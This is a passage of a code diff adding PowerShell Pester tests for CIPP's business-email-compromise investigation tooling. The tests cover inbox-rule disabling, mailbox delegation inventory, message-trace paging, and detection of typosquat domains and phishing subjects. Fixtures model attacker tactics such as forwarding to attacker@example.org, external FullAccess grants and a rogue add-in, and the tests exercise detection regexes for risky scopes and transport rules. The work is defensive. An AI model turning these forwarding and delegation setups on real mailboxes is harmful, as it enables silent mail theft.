to the requested rules by identity or name' { + $Rows = @(Disable-CIPPInboxRules -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -RuleIds @('Forward all')) + $Rows.Count | Should -Be 1 + $Rows[0].state | Should -Be 'success' + $Rows[0].resultText | Should -Be 'Disabled 1 inbox rule(s) for victim@contoso.com.' + Should -Invoke Set-CIPPMailboxRule -Times 1 -ParameterFilter { $RuleId -eq 'victim\2' } + } + + It 'reports a failing rule as an error row and still disables the rest' { + Mock Set-CIPPMailboxRule { if ($RuleName -eq 'Hide invoices') { throw 'EXO said no' }; 'ok' } + $Rows = @(Disable-CIPPInboxRules -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -RuleIds @('Hide invoices', 'Forward all')) + ($Rows | Where-Object { $_.state -eq 'error' }).resultText | Should -Match "Could not disable rule 'Hide invoices': EXO said no" + ($Rows | Where-Object { $_.state -eq 'success' }).resultText | Should -Be 'Disabled 1 inbox rule(s) for victim@contoso.com.' + } +} diff --git a/backend/Tests/Private/Get-CIPPBecErrorInfo.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecErrorInfo.Tests.ps1 new file mode 100644 index 0000000000..bc3a9ec1a5 --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecErrorInfo.Tests.ps1 @@ -0,0 +1,42 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecErrorInfo.ps1') +} + +Describe 'Get-CIPPBecErrorInfo' { + It 'treats a missing mailbox as not-applicable, not a failure' { + $I = Get-CIPPBecErrorInfo -Message 'Ex41BAF5|Microsoft.Exchange.Configuration.Tasks.ManagementObjectNotFoundException|The specified mailbox Identity:"alex@contoso.com" doesn''t exist.' + $I.Skipped | Should -BeTrue + $I.Message | Should -Be 'This user has no Exchange Online mailbox.' + $I.Requirement | Should -Match 'no Exchange Online mailbox' + } + + It 'treats a not-a-recipient error as not-applicable' { + $I = Get-CIPPBecErrorInfo -Message "Get-RecipientPermission: Ex6F9304|Type|Couldn't find 'alex@contoso.com' as a recipient." + $I.Skipped | Should -BeTrue + } + + It 'treats an Intune 404 / not-provisioned as not-applicable with a retry hint' { + $I = Get-CIPPBecErrorInfo -Message 'Intune returned an unexpected error (HTTP 404). ... the tenant does not have Intune provisioned. Microsoft support reference (Activity ID): 1967-68c5' + $I.Skipped | Should -BeTrue + $I.Message | Should -Match 'rerun' + $I.Message | Should -Not -Match 'Activity ID' + } + + It 'strips the Exchange diagnostic prefix from a real failure' { + $I = Get-CIPPBecErrorInfo -Message 'Ex3F6FA7|Microsoft.Exchange.Management.Tasks.SomeException|The server is busy, try again.' + $I.Skipped | Should -BeFalse + $I.Message | Should -Be 'The server is busy, try again.' + } + + It 'passes a plain message through and drops a support-reference tail' { + $I = Get-CIPPBecErrorInfo -Message 'Graph request failed. Microsoft support reference (Activity ID): abc-123' + $I.Skipped | Should -BeFalse + $I.Message | Should -Be 'Graph request failed.' + } + + It 'returns null for an empty error' { + (Get-CIPPBecErrorInfo -Message '').Message | Should -BeNullOrEmpty + (Get-CIPPBecErrorInfo -Message $null).Skipped | Should -BeFalse + } +} diff --git a/backend/Tests/Private/Get-CIPPBecHeuristics.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecHeuristics.Tests.ps1 new file mode 100644 index 0000000000..9ffe10aa9d --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecHeuristics.Tests.ps1 @@ -0,0 +1,75 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + $script:OriginalRoot = $env:CIPPRootPath + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1') + $script:BackendRoot = $RepoRoot +} + +AfterAll { + $env:CIPPRootPath = $script:OriginalRoot +} + +Describe 'Get-CIPPBecHeuristics' { + BeforeEach { + $env:CIPPRootPath = $script:BackendRoot + } + + It 'loads the shipped heuristics file with every section present' { + $H = Get-CIPPBecHeuristics -Force + $H.window.days | Should -Be 7 + $H.score.weights.NewRules | Should -Be 3 + $H.score.thresholds.high | Should -Be 7 + $H.caps.auditLogPages | Should -BeGreaterThan 0 + @($H.highRiskAuditOperations).Count | Should -BeGreaterThan 5 + @($H.directoryAudit.flaggedActivities) | Should -Contain 'Consent to application' + @($H.transportRules.operations) | Should -Contain 'New-TransportRule' + $H.sentMail.repeatSubjectMessages | Should -Be 5 + } + + It 'ships only regexes that compile' { + $H = Get-CIPPBecHeuristics -Force + $Patterns = @( + $H.inboxRules.lowVisibilityFolderRegex + $H.inboxRules.sensitiveNameRegex + $H.phishingKeywordPattern + $H.riskyScopes.regex + $H.transportRules.riskyParameterRegex + $H.transportRules.descriptionRegex + $H.mailboxAddIns.trustedProviderRegex + ) + @($H.phishingSubjectPatterns.PSObject.Properties.Value) + $Patterns.Count | Should -BeGreaterThan 10 + foreach ($Pattern in $Patterns) { + { [regex]::new($Pattern) } | Should -Not -Throw -Because "'$Pattern' must be a valid .NET regex" + } + } + + It 'matches the IR-console fixtures with the shipped regexes' { + $H = Get-CIPPBecHeuristics -Force + 'Mail.ReadWrite' | Should -Match $H.riskyScopes.regex + 'offline_access' | Should -Match $H.riskyScopes.regex + 'User.Read' | Should -Not -Match $H.riskyScopes.regex + 'BlindCopyTo' | Should -Match $H.transportRules.riskyParameterRegex + 'SubjectContainsWords' | Should -Not -Match $H.transportRules.riskyParameterRegex + 'RSS Subscriptions' | Should -Match $H.inboxRules.lowVisibilityFolderRegex + 'Urgent action required' | Should -Match $H.phishingSubjectPatterns.'Urgent action language' + } + + It 'merges the delegated names from RiskyPermissions.json into catalogNames' { + $H = Get-CIPPBecHeuristics -Force + $H.riskyScopes.catalogNames | Should -Not -BeNullOrEmpty + @($H.riskyScopes.catalogNames) | Should -Not -Contain 'RoleManagement.ReadWrite.Directory' -Because 'application permissions are not delegated scopes' + } + + It 'memoises the parsed file and reloads on -Force' { + $First = Get-CIPPBecHeuristics -Force + $Second = Get-CIPPBecHeuristics + [object]::ReferenceEquals($First, $Second) | Should -BeTrue + $Third = Get-CIPPBecHeuristics -Force + [object]::ReferenceEquals($First, $Third) | Should -BeFalse + } + + It 'throws when the file is missing' { + $env:CIPPRootPath = Join-Path $TestDrive 'nowhere' + { Get-CIPPBecHeuristics -Force } | Should -Throw + } +} diff --git a/backend/Tests/Private/Get-CIPPBecMailboxInventory.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecMailboxInventory.Tests.ps1 new file mode 100644 index 0000000000..aefbe13547 --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecMailboxInventory.Tests.ps1 @@ -0,0 +1,174 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + $script:OriginalRoot = $env:CIPPRootPath + $env:CIPPRootPath = $RepoRoot + function New-ExoBulkRequest { param($tenantid, $cmdletArray, $useSystemMailbox, $Anchor, $NoAuthCheck, $Select, $ReturnWithCommand, [switch]$Compliance, [switch]$AsApp) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecMailboxInventory.ps1') + $script:Heuristics = Get-CIPPBecHeuristics -Force + $script:Upn = 'victim@contoso.com' + + # Build the cmdlet-keyed result New-ExoBulkRequest -ReturnWithCommand produces, stamping each row with its OperationGuid. + function New-BulkResult { + param([hashtable]$Rows) + $Result = @{} + foreach ($Guid in $Rows.Keys) { + $Entry = $Rows[$Guid] + $Cmdlet = $Entry.Cmdlet + if (-not $Result.ContainsKey($Cmdlet)) { $Result[$Cmdlet] = [System.Collections.Generic.List[object]]::new() } + foreach ($Row in @($Entry.Rows)) { + $Row | Add-Member -NotePropertyName 'OperationGuid' -NotePropertyValue $Guid -Force + $Result[$Cmdlet].Add($Row) + } + } + $Result + } + function New-Round1 { + param([switch]$OmitApps, [switch]$ErrorPermissions) + $Rows = @{ + 'Mailbox' = @{ Cmdlet = 'Get-Mailbox'; Rows = @([pscustomobject]@{ PrimarySmtpAddress = $script:Upn; RecipientTypeDetails = 'UserMailbox'; ForwardingSmtpAddress = 'smtp:attacker@example.org'; ForwardingAddress = $null; DeliverToMailboxAndForward = $true; GrantSendOnBehalfTo = @('Assistant One', 'guest_example.org#EXT#@contoso.onmicrosoft.com'); AuditEnabled = $true }) } + 'CAS' = @{ Cmdlet = 'Get-CASMailbox'; Rows = @([pscustomobject]@{ OWAEnabled = $true; EWSEnabled = $true; IMAPEnabled = $false; POPEnabled = $false; MAPIEnabled = $true; ActiveSyncEnabled = $true; SmtpClientAuthenticationDisabled = $false; ActiveSyncBlockedDeviceIDs = @() }) } + 'AutoReply' = @{ Cmdlet = 'Get-MailboxAutoReplyConfiguration'; Rows = @([pscustomobject]@{ AutoReplyState = 'Enabled'; StartTime = $null; EndTime = $null; ExternalAudience = 'All'; InternalMessage = 'SECRET INTERNAL TEXT'; ExternalMessage = 'SECRET EXTERNAL TEXT' }) } + 'MailboxPermission' = @{ Cmdlet = 'Get-MailboxPermission'; Rows = @( + [pscustomobject]@{ User = 'NT AUTHORITY\SELF'; AccessRights = @('FullAccess'); IsInherited = $false; Deny = $false } + [pscustomobject]@{ User = 'assistant@contoso.com'; AccessRights = @('FullAccess'); IsInherited = $false; Deny = $false } + [pscustomobject]@{ User = 'outsider@example.org'; AccessRights = @('FullAccess'); IsInherited = $false; Deny = $false } + [pscustomobject]@{ User = 'inherited@contoso.com'; AccessRights = @('FullAccess'); IsInherited = $true; Deny = $false } + # the REST transport returns these as strings, and [bool]'False' is $true + [pscustomobject]@{ User = 'stringy@contoso.com'; AccessRights = @('FullAccess'); IsInherited = 'False'; Deny = 'False' } + ) } + 'RecipientPermission' = @{ Cmdlet = 'Get-RecipientPermission'; Rows = @( + [pscustomobject]@{ Trustee = 'NT AUTHORITY\SELF'; AccessRights = @('SendAs'); IsInherited = $false; AccessControlType = 'Allow' } + [pscustomobject]@{ Trustee = 'assistant@contoso.com'; AccessRights = @('SendAs'); IsInherited = $false; AccessControlType = 'Allow' } + ) } + 'FolderStats-Calendar' = @{ Cmdlet = 'Get-MailboxFolderStatistics'; Rows = @([pscustomobject]@{ FolderType = 'Calendar'; FolderId = 'LgAAAACalendar'; Name = 'Kalender' }, [pscustomobject]@{ FolderType = 'User Created'; FolderId = 'LgAAAASub'; Name = 'Sub' }) } + 'FolderStats-Inbox' = @{ Cmdlet = 'Get-MailboxFolderStatistics'; Rows = @([pscustomobject]@{ FolderType = 'Inbox'; FolderId = 'LgAAAAInbox'; Name = 'Posteingang' }) } + } + if (-not $OmitApps) { + $Rows['Apps'] = @{ Cmdlet = 'Get-App'; Rows = @( + [pscustomobject]@{ Identity = 'a1'; DisplayName = 'Contoso Connector'; AppId = 'a1'; Enabled = $true; ProviderName = 'Microsoft'; Scope = 'Organization'; Type = 'MarketPlace'; AppVersion = '1.0' } + [pscustomobject]@{ Identity = 'a2'; DisplayName = 'Mail Harvester'; AppId = 'a2'; Enabled = $true; ProviderName = 'Unknown Dev'; Scope = 'User'; Type = 'Private'; AppVersion = '0.1' } + [pscustomobject]@{ Identity = 'a3'; DisplayName = 'Disabled Thing'; AppId = 'a3'; Enabled = $false; ProviderName = 'Unknown Dev'; Scope = 'User'; Type = 'Private'; AppVersion = '0.1' } + [pscustomobject]@{ Identity = 'a4'; DisplayName = 'Stringly Disabled'; AppId = 'a4'; Enabled = 'False'; ProviderName = 'Unknown Dev'; Scope = 'User'; Type = 'Private'; AppVersion = '0.1' } + ) } + } + if ($ErrorPermissions) { + $Rows['MailboxPermission'] = @{ Cmdlet = 'Get-MailboxPermission'; Rows = @([pscustomobject]@{ error = 'The operation could not be performed because object could not be found'; target = $script:Upn }) } + } + New-BulkResult -Rows $Rows + } + function New-Round2 { + New-BulkResult -Rows @{ + 'FolderPermission-Calendar' = @{ Cmdlet = 'Get-MailboxFolderPermission'; Rows = @( + [pscustomobject]@{ User = [pscustomobject]@{ DisplayName = 'Default' }; AccessRights = @('AvailabilityOnly') } + [pscustomobject]@{ User = [pscustomobject]@{ DisplayName = 'Anonymous' }; AccessRights = @('None') } + [pscustomobject]@{ User = [pscustomobject]@{ DisplayName = 'Assistant One'; ADRecipient = [pscustomobject]@{ PrimarySmtpAddress = 'assistant@contoso.com' } }; AccessRights = @('Editor') } + ) } + 'FolderPermission-Inbox' = @{ Cmdlet = 'Get-MailboxFolderPermission'; Rows = @( + [pscustomobject]@{ User = [pscustomobject]@{ DisplayName = 'Default' }; AccessRights = @('Reviewer') } + ) } + } + } +} + +AfterAll { + $env:CIPPRootPath = $script:OriginalRoot +} + +Describe 'Get-CIPPBecMailboxInventory' { + It 'builds the delegation inventory across the five types and flags external, guest and catch-all trustees' { + $script:Round = 0 + Mock New-ExoBulkRequest { $script:Round++; if ($script:Round -eq 1) { New-Round1 } else { New-Round2 } } + $Result = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com', 'contoso.onmicrosoft.com') + $Result.Delegations.Complete | Should -BeTrue + $D = $Result.Delegations.Data + ($D | Where-Object { $_.PermissionType -eq 'FullAccess' }).Trustee | Should -Not -Contain 'NT AUTHORITY\SELF' + ($D | Where-Object { $_.PermissionType -eq 'FullAccess' }).Trustee | Should -Not -Contain 'inherited@contoso.com' + ($D | Where-Object { $_.PermissionType -eq 'FullAccess' -and $_.Trustee -eq 'assistant@contoso.com' }).Flagged | Should -BeFalse + ($D | Where-Object { $_.PermissionType -eq 'FullAccess' -and $_.Trustee -eq 'outsider@example.org' }).Flagged | Should -BeTrue + $Stringy = $D | Where-Object { $_.PermissionType -eq 'FullAccess' -and $_.Trustee -eq 'stringy@contoso.com' } + $Stringy | Should -Not -BeNullOrEmpty -Because 'IsInherited "False" (a string) is not inherited' + $Stringy.Deny | Should -BeFalse -Because 'Deny "False" (a string) is an allow entry' + ($D | Where-Object { $_.PermissionType -eq 'FullAccess' -and $_.Trustee -eq 'assistant@contoso.com' }).Deny | Should -BeFalse + ($D | Where-Object { $_.PermissionType -eq 'SendAs' }).Trustee | Should -Be 'assistant@contoso.com' + ($D | Where-Object { $_.PermissionType -eq 'SendOnBehalf' -and $_.Trustee -like '*#EXT#*' }).Flagged | Should -BeTrue + ($D | Where-Object { $_.PermissionType -eq 'SendOnBehalf' -and $_.Trustee -eq 'Assistant One' }).Flagged | Should -BeFalse + $Folders = @($D | Where-Object { $_.PermissionType -eq 'Folder' }) + $Folders.Trustee | Should -Not -Contain 'Anonymous' + ($Folders | Where-Object { $_.Resource -like '*Calendar' }).Trustee | Should -Not -Contain 'Default' -Because 'AvailabilityOnly for Default is the normal calendar default' + ($Folders | Where-Object { $_.Resource -like '*Inbox' -and $_.Trustee -eq 'Default' }).Flagged | Should -BeTrue -Because 'Reviewer on the Inbox for everyone is exposure' + ($Folders | Where-Object { $_.Trustee -eq 'Assistant One' }).AccessRights | Should -Be 'Editor' + $D[0].Flagged | Should -BeTrue -Because 'flagged delegations sort first' + } + + It 'reads folder permissions by folder id, not by localised folder name' { + $script:Round = 0 + $script:Round2Array = $null + Mock New-ExoBulkRequest { $script:Round++; if ($script:Round -eq 1) { New-Round1 } else { $script:Round2Array = $cmdletArray; New-Round2 } } + $null = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Identities = @($script:Round2Array | ForEach-Object { $_.CmdletInput.Parameters.Identity }) + $Identities | Should -Contain "$($script:Upn):LgAAAACalendar" + $Identities | Should -Contain "$($script:Upn):LgAAAAInbox" + $Identities | Should -Not -Contain "$($script:Upn):LgAAAASub" + $Identities -join ' ' | Should -Not -Match 'Kalender|Posteingang' + } + + It 'captures forwarding, auto-reply state and protocols without the auto-reply text' { + $script:Round = 0 + Mock New-ExoBulkRequest { $script:Round++; if ($script:Round -eq 1) { New-Round1 } else { New-Round2 } } + $Result = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $State = $Result.MailboxState.Data + $Result.MailboxState.Complete | Should -BeTrue + $State.HasForwarding | Should -BeTrue + $State.ForwardingSmtpAddress | Should -Be 'smtp:attacker@example.org' + $State.DeliverToMailboxAndForward | Should -BeTrue + $State.AutoReplyState | Should -Be 'Enabled' + $State.AutoReplyHasInternalMessage | Should -BeTrue + $State.IMAPEnabled | Should -BeFalse + $State.EWSEnabled | Should -BeTrue + ($State | ConvertTo-Json -Depth 5) | Should -Not -Match 'SECRET' + } + + It 'flags enabled, user-installed, non-Microsoft add-ins only' { + $script:Round = 0 + Mock New-ExoBulkRequest { $script:Round++; if ($script:Round -eq 1) { New-Round1 } else { New-Round2 } } + $Result = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Result.AddIns.Complete | Should -BeTrue + $Result.AddIns.Data.Count | Should -Be 4 + ($Result.AddIns.Data | Where-Object { $_.DisplayName -eq 'Mail Harvester' }).Flagged | Should -BeTrue + $Stringly = $Result.AddIns.Data | Where-Object { $_.DisplayName -eq 'Stringly Disabled' } + $Stringly.Enabled | Should -BeFalse -Because 'Enabled "False" (a string) is disabled' + $Stringly.Flagged | Should -BeFalse + ($Result.AddIns.Data | Where-Object { $_.DisplayName -eq 'Contoso Connector' }).Flagged | Should -BeFalse + ($Result.AddIns.Data | Where-Object { $_.DisplayName -eq 'Disabled Thing' }).Flagged | Should -BeFalse + } + + It 'reports a missing sub-request as incomplete instead of an empty list' { + $script:Round = 0 + Mock New-ExoBulkRequest { $script:Round++; if ($script:Round -eq 1) { New-Round1 -OmitApps } else { New-Round2 } } + $Result = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Result.AddIns.Complete | Should -BeFalse + $Result.AddIns.Error | Should -Match 'Get-App returned no response' + $Result.Delegations.Complete | Should -BeTrue + } + + It 'reports an errored sub-request as incomplete with the error text' { + $script:Round = 0 + Mock New-ExoBulkRequest { $script:Round++; if ($script:Round -eq 1) { New-Round1 -ErrorPermissions } else { New-Round2 } } + $Result = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Result.Delegations.Complete | Should -BeFalse + $Result.Delegations.Error | Should -Match 'could not be found' + ($Result.Delegations.Data | Where-Object { $_.PermissionType -eq 'SendAs' }).Count | Should -Be 1 -Because 'the other permission types still load' + $Result.MailboxState.Complete | Should -BeTrue + } + + It 'treats a swallowed transport failure (empty bulk result) as everything incomplete' { + Mock New-ExoBulkRequest { @{} } + $Result = Get-CIPPBecMailboxInventory -TenantFilter 'contoso.com' -UserPrincipalName $script:Upn -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Result.MailboxState.Complete | Should -BeFalse + $Result.Delegations.Complete | Should -BeFalse + $Result.AddIns.Complete | Should -BeFalse + $Result.Delegations.Data.Count | Should -Be 0 + } +} diff --git a/backend/Tests/Private/Get-CIPPBecMessageTrace.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecMessageTrace.Tests.ps1 new file mode 100644 index 0000000000..e3573d8b5a --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecMessageTrace.Tests.ps1 @@ -0,0 +1,82 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function New-ExoRequest { param($tenantid, $cmdlet, $cmdParams, $Anchor) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecMessageTrace.ps1') + + function New-TraceRow { + param([int]$Index, [string]$Recipient = "r$Index@example.com") + [pscustomobject]@{ + MessageTraceId = "trace-$Index" + RecipientAddress = $Recipient + SenderAddress = 'user@contoso.com' + Subject = "Subject $Index" + Status = 'Delivered' + Received = (Get-Date '2026-08-20T12:00:00Z').AddMinutes(-$Index).ToString('o') + FromIP = '203.0.113.5' + } + } + $script:Start = (Get-Date).AddDays(-7) + $script:End = Get-Date +} + +Describe 'Get-CIPPBecMessageTrace' { + BeforeEach { + $script:Calls = [System.Collections.Generic.List[object]]::new() + } + + It 'requires a sender or a recipient' { + { Get-CIPPBecMessageTrace -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End } | Should -Throw + } + + It 'returns a short page as complete and passes ResultSize and the address' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); 1..2 | ForEach-Object { New-TraceRow -Index $_ } } + $Result = Get-CIPPBecMessageTrace -TenantFilter 'contoso.com' -SenderAddress 'user@contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 5 + $Result.Complete | Should -BeTrue + $Result.Rows.Count | Should -Be 2 + $Result.Pages | Should -Be 1 + $script:Calls[0].ResultSize | Should -Be 5 + $script:Calls[0].SenderAddress | Should -Be 'user@contoso.com' + $script:Calls[0].Keys | Should -Not -Contain 'RecipientAddress' + } + + It 'walks the cursor using the last row''s Received as EndDate and its recipient as StartingRecipientAddress' { + Mock New-ExoRequest { + $script:Calls.Add(($cmdParams.Clone())) + if ($script:Calls.Count -eq 1) { 1..2 | ForEach-Object { New-TraceRow -Index $_ } } else { @(New-TraceRow -Index 3) } + } + $Result = Get-CIPPBecMessageTrace -TenantFilter 'contoso.com' -RecipientAddress 'user@contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 2 + $Result.Complete | Should -BeTrue + $Result.Rows.Count | Should -Be 3 + $Result.Pages | Should -Be 2 + $script:Calls[1].StartingRecipientAddress | Should -Be 'r2@example.com' + # the cursor is sent as a sortable UTC string, the same shape the window bounds use + $script:Calls[1].EndDate | Should -Be ((Get-Date '2026-08-20T12:00:00Z').ToUniversalTime().AddMinutes(-2).ToString('s')) + } + + It 'reports partial results at the page cap' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); $Base = ($script:Calls.Count - 1) * 2; 1..2 | ForEach-Object { New-TraceRow -Index ($Base + $_) } } + $Result = Get-CIPPBecMessageTrace -TenantFilter 'contoso.com' -SenderAddress 'user@contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 2 -MaxPages 3 + $Result.Complete | Should -BeFalse + $Result.Pages | Should -Be 3 + $Result.Rows.Count | Should -Be 6 + $Result.Cap | Should -Match '3 pages' + } + + It 'stops and reports partial results when the cursor does not advance' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); 1..2 | ForEach-Object { New-TraceRow -Index $_ } } + $Result = Get-CIPPBecMessageTrace -TenantFilter 'contoso.com' -SenderAddress 'user@contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 2 -MaxPages 5 + $Result.Complete | Should -BeFalse + $Result.Cap | Should -Match 'stalled' + $Result.Rows.Count | Should -Be 2 + } + + It 'de-duplicates rows that appear on two pages' { + Mock New-ExoRequest { + $script:Calls.Add($cmdParams) + if ($script:Calls.Count -eq 1) { 1..2 | ForEach-Object { New-TraceRow -Index $_ } } else { @((New-TraceRow -Index 2), (New-TraceRow -Index 3)) } + } + $Result = Get-CIPPBecMessageTrace -TenantFilter 'contoso.com' -SenderAddress 'user@contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 2 + $Result.Rows.Count | Should -Be 3 + $Result.Complete | Should -BeFalse -Because 'a full second page with one duplicate is still a full page that hit the cursor; the walk continues until a short page' + } +} diff --git a/backend/Tests/Private/Get-CIPPBecReceivedMailFindings.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecReceivedMailFindings.Tests.ps1 new file mode 100644 index 0000000000..a503baa02d --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecReceivedMailFindings.Tests.ps1 @@ -0,0 +1,175 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + $script:OriginalRoot = $env:CIPPRootPath + $env:CIPPRootPath = $RepoRoot + function Get-CIPPBecMessageTrace { param($TenantFilter, $SenderAddress, $RecipientAddress, $StartDate, $EndDate, $Anchor, $PageSize, $MaxPages) } + function New-GraphGetRequest { param($uri, $tenantid, $AsApp, $noPagination) } + function Get-NormalizedError { param($message) $message } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/Tools/Get-CIPPLevenshteinDistance.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecReceivedMailFindings.ps1') + $script:Heuristics = Get-CIPPBecHeuristics -Force + + function New-Row { + param([string]$Sender, [string]$Subject, [int]$Index = 1) + [pscustomobject]@{ + MessageTraceId = "trace-$Index" + SenderAddress = $Sender + RecipientAddress = 'victim@contoso.com' + Subject = $Subject + Status = 'Delivered' + Received = '2026-08-20T12:00:00Z' + Size = 1024 + FromIP = '203.0.113.9' + } + } + $script:Start = (Get-Date).AddDays(-7) + $script:End = Get-Date +} + +AfterAll { + $env:CIPPRootPath = $script:OriginalRoot +} + +Describe 'Get-CIPPBecReceivedMailFindings' { + It 'flags look-alike sender domains within one or two edits of an accepted domain, never the accepted domain itself' { + Mock Get-CIPPBecMessageTrace { + [pscustomobject]@{ + Rows = @( + (New-Row -Sender 'billing@contos0.com' -Subject 'Your statement' -Index 1) + (New-Row -Sender 'it@c0nt0so.com' -Subject 'Hello' -Index 2) + (New-Row -Sender 'friend@contoso.com' -Subject 'Lunch' -Index 3) + (New-Row -Sender 'news@example.org' -Subject 'Weekly digest' -Index 4) + (New-Row -Sender 'spoof@contoso-secure-login.com' -Subject 'Hi' -Index 5) + ) + Complete = $true; Cap = $null; Pages = 1 + } + } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com', 'contoso.onmicrosoft.com') + $Typos = @($Result.Findings.Data | Where-Object { $_.FindingType -eq 'PossibleTyposquat' }) + $Typos.SenderDomain | Should -Contain 'contos0.com' + $Typos.SenderDomain | Should -Contain 'c0nt0so.com' + $Typos.SenderDomain | Should -Not -Contain 'contoso.com' + $Typos.SenderDomain | Should -Not -Contain 'example.org' + $Typos.SenderDomain | Should -Not -Contain 'contoso-secure-login.com' + ($Typos | Where-Object { $_.SenderDomain -eq 'contos0.com' }).Distance | Should -Be 1 + ($Typos | Where-Object { $_.SenderDomain -eq 'c0nt0so.com' }).ComparedDomain | Should -Be 'contoso.com' + $Result.Findings.Summary.TyposquatDomains | Should -Contain 'contos0.com' + $Result.Findings.Complete | Should -BeTrue + } + + It 'names the phishing-subject pattern that matched and keeps keyword-only hits at Low' { + Mock Get-CIPPBecMessageTrace { + [pscustomobject]@{ + Rows = @( + (New-Row -Sender 'a@example.org' -Subject 'URGENT action is required on your account' -Index 1) + (New-Row -Sender 'b@example.org' -Subject 'Please verify your account today' -Index 2) + (New-Row -Sender 'c@example.org' -Subject 'Suspended: access to your mailbox' -Index 3) + (New-Row -Sender 'd@example.org' -Subject 'You are our lottery winner' -Index 4) + (New-Row -Sender 'e@example.org' -Subject 'Invoice 4471 attached' -Index 5) + (New-Row -Sender 'f@example.org' -Subject 'New password policy' -Index 6) + (New-Row -Sender 'g@example.org' -Subject 'Lunch on Friday?' -Index 7) + ) + Complete = $true; Cap = $null; Pages = 1 + } + } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Patterns = @($Result.Findings.Data | Where-Object { $_.FindingType -eq 'SubjectPattern' }) + $Patterns.Reason | Should -Contain 'Urgent action language' + $Patterns.Reason | Should -Contain 'Account verification language' + $Patterns.Reason | Should -Contain 'Account suspension language' + $Patterns.Reason | Should -Contain 'Prize or lottery language' + $Patterns.Reason | Should -Contain 'Invoice or payment language' + $Keyword = @($Result.Findings.Data | Where-Object { $_.FindingType -eq 'SubjectKeyword' }) + $Keyword.Count | Should -Be 1 + $Keyword[0].Subject | Should -Be 'New password policy' + $Keyword[0].Severity | Should -Be 'Low' + ($Result.Findings.Data | Where-Object { $_.Subject -eq 'Lunch on Friday?' }) | Should -BeNullOrEmpty + } + + It 'never stores message content - findings carry trace metadata only' { + Mock Get-CIPPBecMessageTrace { [pscustomobject]@{ Rows = @((New-Row -Sender 'x@contos0.com' -Subject 'Invoice')); Complete = $true; Cap = $null; Pages = 1 } } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Names = @($Result.Findings.Data[0].PSObject.Properties.Name) + $Names | Should -Not -Contain 'Body' + $Names | Should -Not -Contain 'Attachments' + $Names | Should -Contain 'MessageTraceId' + } + + It 'propagates a capped trace as partial' { + Mock Get-CIPPBecMessageTrace { [pscustomobject]@{ Rows = @((New-Row -Sender 'x@example.org' -Subject 'hi')); Complete = $false; Cap = '5 pages of 5000 rows'; 